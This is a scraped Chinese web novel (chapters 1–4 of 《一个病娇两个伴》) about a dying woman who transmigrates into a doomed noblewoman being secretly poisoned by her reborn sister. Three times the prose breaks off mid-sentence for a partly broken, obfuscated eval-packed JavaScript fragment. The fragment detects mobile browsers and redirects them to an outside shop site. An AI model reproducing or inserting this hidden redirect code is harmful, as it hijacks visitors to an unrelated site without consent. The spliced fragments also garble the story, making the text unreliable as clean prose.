《一个病娇两个伴》 1. 第 1 章 林若妤她心好累。 她觉得自己好像上了个大当。 星际7000年,科技的飞速发展让地球上的人们纷纷向星际移民,迈向新的文明与生活,没有能力又没有钱的人只能留在地球,这些人被星际人称为原住民。 林若妤原本是个癌症晚期患者,在星际时代,癌症早已并非不可治愈,三针抗原干细胞就可以你不必再与病魔作斗争,迅速痊愈、不留任何后遗症且包售后。 只可惜,那是星际的技术,而她,是个原住民。如果她能负担得起打抗原干细胞的钱,她早就不是原住民了。 又或者,她其实还有第二条路,报名参与医学志愿者,自愿当小白鼠,让星际医学研究院好好研究一下,如何能够又便宜又快速的治好她,然后惠及整个星际住民。 光想着每天躺在冰冷的仪器上被一群人围着研究,她就觉得还不如拿着仅存的积蓄快乐度过剩下的每一天,反正父母早逝又没有伴侣的她早就无牵无挂了。 可实际上,哪怕她和她最后的尊严都放弃了,当一只任人宰割的小白鼠也是有要求的。她生的病既不典型又不复杂,她不用想也知道,小白鼠研究院大概率也会将她拒之门外的。 就在这个时候,一个组织找上了她。 那个组织说,针对她们这些没有能力活下去又无牵无挂的原住民,组织为他们研究了一个新的续命方向——晋江系统。 掏出自己的全部积蓄,授权组织将人的灵体能量通过科技手段注入晋江系统中,随机投身至与自己灵体能量最契合的一本书里,只要她能够在书里苟到大结局,就能够以书中人的身份重活一世。 试问,一个游戏连攻略都已经写给你了,你在通关过程中还能有生命危险吗? 有啊! 掌握了攻略有什么用?开局即地狱,神仙来了也得脱层皮啊! 晋江系统告诉她,这本书的名字叫《东宫俏冤家》,她要在书中的林若妤落水昏迷的时间里好好看完这本书,然后正式成为林若妤,改变她的命运。 这种光听书名就能猜到剧情的书,无非也就是权谋加宫斗,只要她仔仔细细看完,摸清整个故事脉络,头脑清醒,坚定信念,不当圣母白莲花,让恶毒女配改过自新,就绝对能与男主一起携手创造盛世辉煌! “没问题。”她一口应下。 随即,没给她任何后悔的机会,在她话音还未落地前就只见一道白光在眼前闪过,她便迅速被拖进了一片黑暗,黑暗中,一行一行飘过的,都是《东宫俏冤家》的小说内容。 书里的林若妤是第一个出场的,按这个咖位,她想着,这个角色即便不是女主也得是反派第一大佬吧? 她一定要好好改变她的人生!苟到大结局!为自己挣一个活路! 林若妤的父亲是国公爷林永安,深沐皇恩的同时也被皇室深深忌惮,他先后娶了两位夫人,在各留下一个女儿后就都撒手人寰了。 随着边境的安宁,即便是只有两个女儿的林国公,也越发走在了刀尖上。又兼之当朝太子是个重文的,整日搞什么体系建设,哪里能看到他们这些武将的未来? 坐以待毙绝不是林永安的风格,他征战沙场多年,位高权重,说一不二,怎么甘心在晚年卸甲归田? 于是,他与同样不忿太子的二皇子搭上了线,一个是皇后唯一的儿子,一个是曾今手握重权的国公爷,两人一拍即合,密谋造反。 造反这条路上,哪怕是自家人都难免互相提防,更别说是两个异性人,解决这个问题最简单也最便捷的办法便是让两家人变成一家人,联姻。 奈何命运弄人,偏偏林永安这两个女儿,都心悦二皇子。 大女儿林方雅自小便深得父亲偏爱,对二皇子自然是志在必得,她从未觉得自己任性又懦弱的妹妹能争得过自己。 而自小便被大姐姐死死压了一头的二女儿林若妤,始终将青梅竹马的二皇子当作救赎,她什么都可以让给姐姐,唯独二皇子不行。 于是这两姐妹从小打小闹,渐渐衍变成了不死不休。 林永安觉得皇室薄情,他舍不得大女儿去那座囚笼中受苦,可又想稳定与二皇子的合作,于是就亲手将小女儿林若妤送给二皇子当侧妃。 林若妤高兴极了,即便是侧妃,对母亲早亡后,自小在府中受姐姐气压的来来说,是黑暗中的莫大慰藉。 随着婚期越来越近,她一改常态,在姐姐林方雅面前也越发嚣张。 终于,忍无可忍的林方雅,在大婚前夜,用一杯毒酒弄死了她的二妹妹。 看到这里,林若妤敢肯定了,她拿的这是典型的恶毒女配卡。所谓的《东宫俏冤家》一定是二皇子成功推翻了东宫,当上了太子!然后与她那个心狠手辣的姐姐成了一对俏冤家! 就在林若妤胡思乱想着醒来后如何跟爹爹认错,与大姐相亲相爱的时候,她突然发觉书中故事的走向,有些诡异。 怎么?书中的林若妤死后不久,大姐那个“俏冤家”也死了?! 不是,男主都还没当上太子,女主怎么能就死了?这难道是个灵异小说?她理解错了,不是“俏”冤家,而是“翘”冤家?翘辫子的翘? 她带着满腔的疑惑继续往下看,接下来的剧情让她明白,人在无语的时候真的会笑出声的。 …… 这不可能是真的! 这本书真正的女主,竟然另有其人?!她与大姐两个斗了大半辈子的人,居然在这本书里连女配都算不上,只是两个最多只占了前三章的炮灰背景板?! 谁家男女主第三章写完了还没出现的?! 她的悲惨的一生,竟然只不过是个前情提要!? 书中的她与大姐双双阵亡后不久,皇帝找回了流落民间三皇子,三皇子由于调查国公府谋逆有功,被大为嘉奖。 没错,不但她与大姐是背景板,连国公府和二皇子都是!她甚至很怀疑,这位流落民间的三皇子,之所以能还被认回去,是不是就是因为查出了国公府谋逆,立了大功。否则为什么早不回去晚不回去,偏偏她们国公府一下线,他就回去了? 而剧情一直到三皇子回归朝廷后,男女主才双双出现。 男主是太子,女主是太子府的一个丫鬟,荣耀回归的三皇子就成为了太子手中的一柄利刃,指哪戳哪。 智计卓绝的丫鬟和阴险毒辣的三皇子帮助太子一步步走上了那个至尊之位,接下来,两人就开始上演她逃,他追,她插翅难飞的戏码,折折腾腾几年之后,快乐大结局。 然后!就再也没有人记得,国公府那个二小姐林若妤了! 合着她满怀希望,掏空积蓄,晋江就只给她发了一个穿书体验卡?!这还改造个毛线啊,她一个到死的时候连男女主面都没见过,直接被病娇男二弄死了全家的炮灰,请问系统哪里觉得她这个破命运有可改变的空间了?! 可惜,晋江丝毫没有给她反悔的机会,还没等黑暗中的剧情滚动完,她的耳边就传来了一声声紧张的呼唤。 “姑娘。姑娘!” 随后,喉间的麻痒之意让她不受控制地想要咳嗽,沉重的眼皮也仿佛被什么力量硬推着睁开了,古色古香的摆设和周围围着的一大圈人都在残忍的告诉她。 她林若妤,真的,穿了。 穿成了一个活不过前三章的,炮灰。 距离她十七岁被姐姐弄死还有不到一年的时间,距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487557|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个林国公府覆灭还有不到三年的时间,她的生命以肉眼可见的速度,再次进入了倒计时。 怪不得这个组织要找无牵无挂的原住民,一穷二白还没有靠山,没有人能找他们算账啊! “咳咳咳——”她不受控制地咳嗽了起来,呛水的难受一点一点地从肺部涌了上来。 “醒了。”床边站着的中年男子带着不怒自危的气场,正皱着眉一脸严肃的盯着她,“感觉怎么样?” 林若妤咳了半晌,只觉得肺都要被自己咳出来了才终于停下。 中年男子见状,扫了一眼身边的丫鬟,一直屏立在旁的丫鬟这才敢将手上的茶杯递过去,嗫嚅道,“姑娘,喝口水润润喉咙吧。” 林若妤就着她的手,抿了一口就推开了,还没来得及开口,就听见中年男子冷哼了一声,沉声道,“越发胡闹了!这次若不是你姐姐不与你计较,你这条小命就真要交代了!为父这么些年,就是这么教导你的?为了一个外人,竟敢戕害自家姐姐!” 林若妤在心里哀嚎了一声,这原本应该是她计划里最最激动人心的改变命运的时刻! 然而…她此刻只想躺平,随你吧,爱怎么骂怎么骂吧,反正咱都是工具人啊,便宜爹!就算此时此刻她拉着林方雅的手相亲相爱,他们也活不到男女主登场啊! “你不说话,可是知道自己错了?”中年男子摸着胡子又怒道,“既是知道错了,还不快跟娇娇赔不是!” “……?”林若妤半死不活地抬眼看向床边站着的人,这是亲爹?落水的是她好不好!她都这副样子了,他还要她跟她姐姐赔礼道歉?! 难怪原主在这里醒来之后就将姐姐视为眼中钉肉中刺了,这个爹真是有不小的功劳。 “我跟你说话你听不见吗?还不快跟娇娇赔不是!”他的嗓音骤然上了好几个台阶,武将与身俱来的气势让他肃穆的脸看着有几分吓人。 “好了好了,爹。”一旁站了不知多久的女子终于开了口,她略尖的下巴透着精致,一双凤眼流盼的美眸正殷切地看着她,顺滑的发丝映衬得人格外添了几分柔美之色。 好一个温柔的大姐。 可惜了,内外不一啊。 林若妤此刻仿佛已经从她姐姐那双如水的双眸里,看到了对自己毫不掩饰的怨毒。 这位姐姐柔声劝着怒发冲冠的那位爹爹,“女儿这不是没事嘛,妹妹此番受了这样大的罪,想来定是知道错了,我这个做姐姐的,还能真的跟她计较不成?” “你看看她那副样子,哪里像是知错的。”林永安冷哼一声,原本炸雷般的声音却柔和了许多,转头看到二女儿那副要死不活的样子,火又冒了起来,“从今天起,不许出府门一步!什么时候想明白自己错在哪了,什么时候再出门!” 林若妤闭上了眼睛,好吵,她有点想睡觉了。刚闭上眼睛没一会儿,就听见床边的人重重摔下茶杯,走了。 怎么还砸东西,这爹真是又凶又暴躁。 等林若妤找了个舒服的姿势终于准备入睡的时候,耳边却传来一个温温柔柔的声音,“好妹妹,喝了药再睡吧。” “……”她极不情愿地睁开眼睛,叹了口气。 这情境,要放在原主身上,估计得砸了碗又闹一通,可偏偏,她已经不是那个屡屡愤怒又无能为力的林若妤了。 她示意床边的侍女扶她起来,就着林方雅的手将药一口气喝下,喝完冲着她温柔笑着的姐姐也挤出了一个笑,“喝完了,我可以睡了吗?” 林方雅眸光轻闪,抽出手绢不紧不慢地点了点她嘴角的药汁,轻声道,“睡吧,等你醒了姐姐再来看你。” “……” 真就不死不休呗? 2. 第 2 章 林若妤睡了不知多久,等再睁开眼睛的时候,床边已经没有人了。她看着眼前烟粉色的纱帐和床沿梨花木的雕花,叹了口气。 本来是为了活命才来的这里,可谁能想到还是一样要数着日子过。甚至原本无牵无挂轻松自在的一个人,如今却多了这么一大堆心思难测的家人,怎么算都是亏麻了。 林若妤她心好累。 她撑着胳膊想要起身,可浑身的酸软密密麻麻地侵袭而来,挣扎再三还是开口喊人,“白露。” 一直候在外间的白露闻声快步走了进来,扶着她扶坐了起来,“姑娘醒了,可有什么想吃的,奴婢这就吩咐小厨房去做。” 林若妤不想吃东西,她觉得自己现在的难受程度已经远远超过了普通呛水的难受,浑身酸软也就罢了,心口也火烧火燎的几欲作呕。 原本刚醒来的时候还觉得这可能是身体在与灵体融合过程中的产生的排斥反应,可睡了一觉醒过来还是在实打实的难受,那这股难受劲就一定不是精神层面的了。 “白露,这两天我总觉得混混沌沌的,许多事情想不起来了,你得帮我好好捋一捋。” 白露见她连说话都费力,扶她坐稳当后,急忙跑到桌边端了杯水递过去,心疼地红了眼眶,“姑娘先润润喉吧,想问什么便慢慢问,奴婢必定知无不言。” “我一直这样病着?” “姑娘从前身体也是好的,只是这两年总是食欲不振又没什么精神,一直吃药调养着也没有起色,此番落水只怕更是要发出来了。” “谁给我开的方子,我一直吃什么药调养?” 白露似是被问愣了一下,思索了片刻才道,“两年前京城里有个有名的游方道士,姑娘刚病下的时候他刚好上门拜访,便叫他瞧了瞧,吃了他开的一剂药后果然有了好转,这才一直按他开的方子疗养着的。姑娘连这个都想不起来了?这可怎么好,是不是磕到脑袋了,可要再找郎中来瞧瞧?” “无妨,可能是呛水呛得有些迷糊了。”林若妤浅浅呷了一口水,垂眸问道,“那方子没找别人看过吗?一个游方道士开的方子,就这么一直让我吃了两年?” “府医看过都说没问题才叫姑娘吃的。”白露接过她递来的水杯,“那游方道士当年在京城里很有名,还治好了淮南王的恶疾,姑娘这才一用这方子就是两年的。” 淮南王…也就是二皇子,萧云峥。 难怪。 她就说,她姐姐哪来的胆子敢在她大婚前夜下毒,也不怕二皇子追求起来不好交代。如今看来,只怕是她这个姐姐早就跟二皇子搅和在了一起。 只可惜林国公太过心疼大女儿,始终坚持让二女儿去当那个交换的筹码,两人反复争取无果,这才商量着一起给她下了两年的慢性毒,只等着大婚前夜,用一剂药引出她体内的毒,让她落得个暴毙的下场。 到时候,她暴毙在新婚前夜,林国公大婚当天交不出人,为显与二皇子合作的诚意,只能应下林方雅与二皇子的事。 同时,二皇子感念林永安将两个女儿都送给了自己,顺理成章地就将正妃之位留给了林方雅。 一箭双雕。 仿佛只要她一死,于林国公府、于淮南王、于她的姐姐便都是皆大欢喜了。 只可惜… 她不是来送死的。 她一定会好好活着的。 林若妤扶着白露的手,强忍着不适下了床,慢步挪坐到桌边坐下,缓声道,“你去,传洗漱,再吩咐小厨房做些易消化的小米粥来,粥里加些虾仁和牛肉,剁碎些。” “是,奴婢这就去。”白露想劝她身体还未好,就不要再费心劳神了,可见她那样吃力还在试图握笔,又有些不敢开口。 林若妤抬头便看见了小丫头一双红通通的眼睛,心中一暖,拍了拍她的手,“去吧,我没事。不必叫白芷进来伺候,我想一个人待一会儿。” “是。”白露这才快步走了出去,轻声带上了门。 林若妤打发走了白露,想要提笔将自己能记住的所有剧情都写下来,却迟迟下不去手。 她不会用毛笔写字… 原本生存就已经很困难了,哪里还有闲情逸致去练毛笔字。 犹豫了片刻,她死马当活马医地咬着牙握住了笔杆,没想到刚笔尖刚触及纸面就自然而然地落下了第一个字,那字写的极娟秀,她看不出流派,却也一眼就知道是花了功夫练的。 看来,原身体的技能算是穿书系统送给她的大礼包了。 她有了些笑意,到了唇角又化作了两声咳嗽,这才觉得心气顺了些。 “咦…”没等她写完一行字,纸上的墨迹竟凭空蒸发一般的消失了。 什么意思?这么个史诗级难度还不让开外挂?那么长一本书要全凭脑子走剧情?她脑子要真有那么好,还能是没钱又没能力的原住民吗?还能被抓来当小白鼠吗?! 林若妤不信邪。 写时间、事情加人名,不行。 写事情加地点,不行。 写事情加时间,不行。 写时间加地点,不行。 那就只剩下…取巧了。 【林若妤,及笄礼。】 她盯着纸上的字许久,终于,这次没有消失。 不过片刻她又开始怀疑起自己,没有消失是因为与主线剧情不相干,还是说她真的找到了取巧的方法? 沉吟片刻,她在那行字下又添了一行字。 【三皇子在林若妤的及笄礼上…】 这回没等她写完下一个字,前面的字就开始蒸发。 林若妤松了口气,赌对了。 既然赌对了,接下来要做的,就是梳理剧情。可她梳理来梳理去才发现…她身边人的剧情实在是太少了。 她能清楚的记得太子和那位俏冤家是怎么相遇相知相熟的,可她丝毫不知道,她爹究竟是怎么策划谋反的。 原作者不过在书里一笔带过,颍川王多年忍辱负重,终于拿到了林国公府造反的证据,她不知道这位颍川王,也就是流落民间的三皇子,究竟是如何忍辱负重的,也不知道她爹究竟将那些谋反的证据都藏在了哪里。 可她明白,作为一个炮灰既然有剧情,那她的剧情必然是能够推动主线进展的关键剧情,否则作者怎么会有兴趣写炮灰的日常? 在原著里,林若妤只活了三章,第一章落水,第二章及笄礼,第三章大婚。 落水是为了推进和描述她与姐姐林方雅之间的矛盾,大婚是死亡的终响,那及笄礼呢? 那天发生了什么重要剧情? 林国公为二姑娘办了场盛大的及笄礼,权当弥补这些年的父女情? 说不通。 她一个配角的父女情修不修复又能怎样,反正下一章就要走向人生大结局了。 除非是…主角团趁着她的及笄礼在国公府上做了些什么!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487558|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 换句话说,在她知道的有限剧情里,这可能是唯一一次她与主角团有有交集的地方。 那样乱的场合里,男主若是想做点什么,派智计卓绝的女主来当个小丫鬟刺探军情可太合理了。 炮灰没有故事线,可主角团有啊!一旦她能跟女主搭上线,凭她的求生欲,连男女主会为了什么事吵架都门清的她,还愁当不了女主的小闺蜜? 想到这里,林若妤只觉得前路豁然开朗,她仿佛已经看见,一个月后的及笄礼上她拉着女主话家常的温馨场面。 等等…场面?林若妤的笑容僵住了。 她看的是小说,可不是电视剧。林国公府就那么两个人,特征还那么明显,她才能一一对应,可林国公府以外的人呢? 她只知道女主叫虞秋月,可她又没见过女主长什么样。那么多侍女,她到底要怎么才能分辨得出,究竟谁才是乔装过后的女主? 凭着原书里对女主惊天美貌的描写吗?那都是带作者滤镜的好不好! 柳叶眉与平眉或许肉眼看起来有差距,可水灵似小鹿一般的眼睛,这就很主观了吧!你看着像小鹿,万一我看着像小猫呢? 白露刚将梳洗的物件端进来,就见自家姑娘一脸生无可恋地盯着桌上的字。 怎么了这是?她走的时候还好好的,怎么她就走了这么一会儿姑娘就成这样了?她赶忙将东西放下,凑近了扶住似乎已经摇摇欲坠的姑娘,瞄了眼桌上的字。 及笄礼? 她轻笑着将人往床上扶去,“姑娘别担心,及笄礼还有一个月呢,只要姑娘乖乖休息,咱们肯定能恢复得漂漂亮亮的。” 没成想,姑娘听完非但没有高兴,还巴巴儿地扭头看向她,问了个让她万分摸不着头脑的问题。 “白露,你看我的眼睛,像小鹿还是像小猫?” “……”白露没敢接话,幸好姑娘也没再追问。只等她将人安安稳稳送进了褥子,才小小在心里比较了一下。 不像小鹿,也不像小猫。 倒像是,小狗,可怜兮兮的。 …… 其实要真说起来,林若妤在这个国公府里,倒也不完全从小到大都是在受苦。 小时候她娘亲刚去的时候,她难过得许久吃不下东西,瘦瘦弱弱的,风一吹就要倒了似的。 那副模样给林国公心疼得不行,生生在她的院子里辟了一块地,单独设了一个小厨房。小厨房的开销在公中是设了单独开支项的,她想吃什么就做什么,想什么时候吃就什么时候吃。 她醒来后偶然听白露提起才知道,整个国公府里,只有林若妤一个人的院子有这个待遇。 所以这么看来,从小到大,她姐姐对她的针对与算计也并不是毫无来由的。 只是不知道那个在她小时候还像个人样的父亲,为何等她长大后就对姐姐偏心偏到了骨子里。 接下来,林若妤把自己关在房里关了整整七日,除了投机取巧地尽可能地记下她能记得的所有要点,就是发愁到底怎么才能勾搭上女主。 可在外人看来,她这副闭门思过的模样倒真不似以往那般骄纵了,就连林永安都提前解了她的禁令,还派人来嘱咐她注意身体,莫要再耍小孩子脾气了。 她对她这个便宜老爹的关心毫无兴趣,甚至很想学学她的姐姐。 如果能像她姐姐弄死她那样弄死她爹就好了。 一次性解决问题,没有后患。 3. 第 3 章 闭门思过的日子平静如水,可林若妤的心却仿佛被放在油锅上煎。 她实在不知道她姐姐给她下了什么毒,只能一边停药,一边锻炼加吃素,增强免疫力嘛,做点什么总比等死强。 可也不知是她吃的太少还是锻炼的不够,折腾好几天了,一点成效都没有,她还是那副病歪歪要倒的样子。 林若妤她心好累。 “姑娘。”白露禀报道,“大姑娘来了。” 林若妤叹了口气,躲了这么些天,还是躲不过。 现在是姐妹内斗的时候吗?现在是生死存亡的时候!她哪有心思对付这个不安好心的姐姐,她连怎么活命都没想明白呢。 “请她进来吧。”她闭了闭眼,终归还是躲得过初一躲不过十五,非要见就见吧。 这姐妹俩说破天也无非是为了个男人,只要她坚定的告诉她姐姐,她决定放弃二皇子了,林方雅一定还能当她的好姐姐! “妹妹。” 林国公大姑娘的的声音乍一听真是让人舒服到了心里,温温柔柔的,不带一丝的攻击性,她今日似乎还特意打扮了一番,玉面桃腮,配上浅黛色的外衫,温和之余又凭添了几分娇俏。 林若妤扬起一个虚弱的笑,握住她递过来的手,低低应了一声,“姐姐。” 如果她这个姐姐,能像看起来那样人畜无害就好了。 “妹妹这次真是受罪了。”她怜惜地摸了摸她的头,“从前姐姐还当你不过是小孩子心性的玩闹,如今看来,你对…倒真是情真意切。” “姐姐误会了。”林若妤笑得更无力了几分,“此番大劫倒是让我幡然醒悟,从前妹妹是小孩子心性也好,真不懂事也罢,只是姐姐放心,从今往后,若妤断不会再为了外人葬送咱们姐妹之间的情分了。” 林大姑娘闻言面上的笑意淡了一分,但还是柔声道,“妹妹这是说的哪儿的话。咱们姐妹之间的情分哪里是什么外人能影响的,怎么妹妹静思这些天,反而越发多心了呢?” 林若妤恨不得直接告诉她,妹妹的意思是这个男人妹妹没兴趣了,他是姐姐的了! 可无论如何从前都是明争暗斗的,她要是这么直接的说出来,只怕非但不能取信于她姐姐,还要被当作是又要耍什么别的心思了。 姐妹情深怎么演的来着??急! 病榻上的林若妤诚挚地握住了姐姐的手,眼中含泪,“若妤如今也算大彻大悟了,姐姐,什么也比不过血脉亲情。或许姐姐今日不信我,但且往后看,姐姐喜欢的,若妤必定约束己身,绝不沾染。” 不曾想,她一番掏心掏肺的表态非但没让她姐姐松口气,反而,林方雅嘴角的笑意,以肉眼可见的速度消失了,她迅速地打量起了眼前的人。 巴掌大的脸上娥眉轻蹙,眸光似水,略有些苍白的唇色衬得面色都透出了几分莹白,浅粉色的里衣又让这份白里带了些少女的娇俏,纤细的手握在自己的手上,青葱似的指尖透着微微的凉意,一直凉到了林方雅的心里。 她轻笑了一声,看向身后伺候着的人,“你们都出去。” “是。”婢女们结伴而出,很快屋子里就只剩下了她们姐妹两人。 林若妤不解,又有些不安,“怎么了,姐姐。” 林大姑娘的笑意更深了几分,松开了她的手,走到桌边,给自己倒了杯茶,细细品了一口后,淡淡看向床上的人,“妹妹此番落水醒来,可是有什么奇遇?如今说话做事,似乎与从前大不相同了。” 林若妤被她看得头皮发麻,她在直接承认和虚与委蛇之间权衡了一秒,还是假笑道,“姐姐说的是,生死劫难,自然大彻大悟。” “如今虽是四月里了,可天气还是有些凉。”林方雅的指尖划过杯沿,温热的感觉抵消了几分方才双手相握时传来的凉意。 她似乎斟酌了片刻,才又开口道,“妹妹素来是怕闷的,如今还病着,可千万注意身体才是,否则,淮南王殿下怕是又要担心了。” “姐姐莫要误会,我与淮南王真的没什么。”林若妤的唇色更苍白了几分。 林方雅闻言轻笑,“莫不是淮南王殿下又惹妹妹不高兴了?你们小年轻,就是容易起龃龉,可姐姐看得出来,你们心里还是有彼此的。” 林若妤闭了闭眼睛,毁灭吧,真的。她几乎已经对眼前的状况麻木了,也不想再与她多费唇舌了,“姐姐,若妤头好像有些疼。” “好,你好好休息,休息好了姐姐再来看你。”林大姑娘似乎也没有多留的意思,象征性地走到床边给她掖了掖被角,就向外走去。 快走到门口的时候她似乎是想起了什么,又回头笑道,“及笄礼我都筹备得差不多了,听说你最近很是关心及笄礼上的人手安排,明日我安排人送一份名单给你,若有什么人被我遗漏了,你只管添上名字送给我便是。” 林若妤犹豫了一瞬,随即摇了摇头,“不必了姐姐,你安排就是。” 国公府没有女主人,林大姑娘及笄之后,府里的大小事务都是她一手操持的,否则也不能那么容易在林若妤大婚的酒中下毒。 林若妤虽然也很想看看女主到底在哪,可用脚后跟想想也知道,她姐姐打算给她送的这份名单里绝不会有“虞秋月”三个大字,既然如此,何必费这个事,说不定还会打草惊蛇,坏了主角团的事。 更何况她姐姐突然这么提议,总让她有种不太好的预感,这位林大姑娘,一个心思要转一百八十个弯,谁知道又挖好了什么坑在等着她呢,还是少接触为妙。 见她拒绝,林方雅也不坚持,只意味深长地看了她一眼就推门出去了。 “好好照顾你们姑娘,若有什么不妥之处,定不轻饶。”林方雅瞥了眼候在门边的两个人,声音淡淡的,听不出情绪。 “是。”白露与白芷低头行礼。 “走吧。” 两个婢女陪着林方雅一起从小院里走了出来,没走几步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487559|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,红玉就回头又看了一眼,随即凑近了几步,有些担心地开口道,“大姑娘,是不是…二姑娘发现了什么?” “就算她发现了什么又能如何?”绿幺有些不屑,“就凭她,也能对咱们姑娘如何吗?” 走在前面的林方雅笑得越发温柔,“你们也发现了?我这个妹妹啊…好像自从落水醒来之后,真的变得跟从前有些不一样了呢。” 悄悄停了一直喝的汤药,对着她的时候也不再张牙舞爪,场面话如今竟也能与她说得有来有往了,连番变化,连不近身伺候的丫鬟小厮都发现她不对劲了,更别说是长了颗七窍玲珑心的林方雅。 “凭她变成什么样,在咱们姑娘手底下还能翻了天去不成。”绿幺不服气地接话道,“谁知道她能沉住气几天,指不定是在装样子博国公爷开心呢。” 装样子?不会。只怕她这个妹妹非但不是装样子,还当真是转了性子了。 如今府上人人都说,二姑娘落了水后像是一下子懂事了,再不像从前那样整日胡闹了。 国公府真是有福气,大姑娘温柔贤淑,二姑娘懂事乖巧,羡煞旁人。 就连爹爹如今也不似往常了,从前提到林若妤就头疼,如今甚至还专门嘱咐她,要好好给她这位妹妹把及笄礼办好。 不过绿幺说得对,凭她变成什么样,也别想在她的手底下翻天。 她仰着头,扶着红玉的手越发用力,唇边的笑意越发冷冽。 大彻大悟?想当好姐妹? 林方雅冷哼了一声。 上一世到死她才明白,原来一辈子争来争去,竟然只争了个笑话。 若真只是个笑话也就罢了,可… 造反兵败的淮南王妃,到最后连个笑话都算不上,活得还不如街边的一条狗。 那种被人肆意践踏凌辱的感觉,她再也不想体会了。 许是连老天爷都看不过去她的遭遇,再睁开眼,她竟又回到了十七岁! 十七岁,多好的年纪,她还没有嫁给淮南王,林国公府也还是那个人人仰视追捧的存在,都好,什么都好,一切都还来得及。 原本以为回到十七岁是老天爷对她的补偿,却不曾想,还没等她谋划好新的出路,她这位亲爱的妹妹也开始不对劲了起来。 姐妹情深?林方雅几乎要笑出声来。 她的好妹妹啊。 上辈子到死也没当成淮南王的侧妃,这辈子,姐姐一定好好为你谋划,让你安安稳稳的当上淮南王侧妃。 正妃?呵…就算她林方雅不要,也不是她林若妤能配得上的。 即便她真的像自己一样,睁开眼睛又重活了一遍,如果她胆敢挡自己的路,她也一样可以像上辈子一样,让她这位好妹妹,死无葬身之地。 这可怪不了她,要怪,就只能怪她和她那个娘一样令人厌恶,一个夺了父亲对母亲的宠爱,一个长了那样一张招人生气的脸。 都是她们自己该死。 4. 第 4 章 惶惶不安了一个月,终于到林若妤的及笄礼了。 距离她被亲姐姐弄死的日子,又近了一个月,可她一没能改善她与姐姐的关系,二没能成功像姐姐毒死她一样毒死她爹。 林若妤她心好累。 “今日是千层肉饼和青菜排骨粥,佐着新鲜炒的芦笋最是解腻,餐后还有剥得好好的冰石榴粒,石榴是年前就冻在冰窖里了的,知道姑娘喜欢,今日特地吩咐了取出来的。” 白露一边布菜一边哄道,“今日是姑娘的大日子,人多又忙乱,席上定是吃不好的,姑娘这会儿可要多吃两口。” 白露圆圆的一张脸甚是讨喜,对林若妤也十分尽心,她的一日三餐、衣食住行,就没有这丫头不过问的。 白芷那丫头虽说沉默了些,可一向是默默伺候着绝不偷懒的,管起下头的丫鬟小厮们也是无有不服的,甚至还有几分畏她。 她房里这两个大丫头倒是甚合她的心意,一个能干讨喜,一个安静利索。 林若妤叹了口气,书里原本那位亡故之后,这两人是府里少有的真心为她难过的人了,否则她也不敢一睁眼便拉着白露问东问西的。 她今日早早便起了床,嘱咐白芷去前厅帮忙,尤其要注意看看有没有什么特别打眼特别漂亮的小丫鬟,一发现就遣人回来告诉她,盯紧了,一步也不准离了眼。 白芷领了吩咐到现在都还没回来,也不知道怎么样了。 林若妤挨不过白露的目光,夹起千层肉饼尝了一口,饼皮酥脆,肉汁软糯,回口留香,还真挺好吃。 只可惜这副身体实在不争气,她只多咬了两口,就开始从胃里到心口都觉得闷闷地堵得慌。 她蔫蔫地放下筷子,瞅着那离得最远的,一粒粒挂着白霜的石榴粒,“把那个拿来让我尝尝。” “姑娘再用些粥吧。”白露仿佛没有听见一般,见她确实吃不下肉饼,又递过来一碗煮的糯糯的青菜粥,“奴婢给您把排骨挑出去了,定不会觉得腻。” 林若妤不想吃,可这副病恹恹的样子对长久的苟活大计实在没什么帮助,于是就着芦笋又用了两口粥,软糯润滑,毫无排骨的腥膻之气,倒真是用了心的。 白露见她这样乖,连忙将盛着石榴的盘子捧近,“姑娘可还有别的想吃的?” 林若妤摇了摇头,盛了一勺石榴,满足地眯了眯眼,冰凉酸甜,真好吃。 “都及笄了,姑娘还跟孩子似的。”白露忍不住笑她。 “你不明白。” 活着真好啊。从前生病的时候,医生也是什么也不给吃,等下了最后通牒,自己刚准备好好潇洒三个月,又被骗来了这里。 一过来就拖着病恹恹的身体又生了场大病,她自己都不知道自己都多久没好好地,放纵地,吃喝玩乐了。 如今这两粒冰石榴,就仿佛是她新的人生开始了的信号,不论如何,哪怕是为了这一口冰石榴,她都一定要想办法活下去! 刚用完早膳,林若妤就被白露按在梳妆台前好一顿折腾。 “别挽那么高的发髻…” “姑娘不知道,要想体态雍容,仪表端庄,就得梳这么高的发髻才好呢。姑娘这只是及笄,日后嫁人的时候,要梳得更高。” “……”行吧,她听不懂,白露说什么就是什么吧。 “太重了,这簪子…” “姑娘不知道,飞仙髻若是不插这么些簪子玉坠的,就显不出咱们姑娘的华贵大气了,左右也就一日的功夫,姑娘可不能任性。” “……”她怀疑白露是在报复她刚刚吃饭的时候说她什么也不懂,所以才这么折腾她。 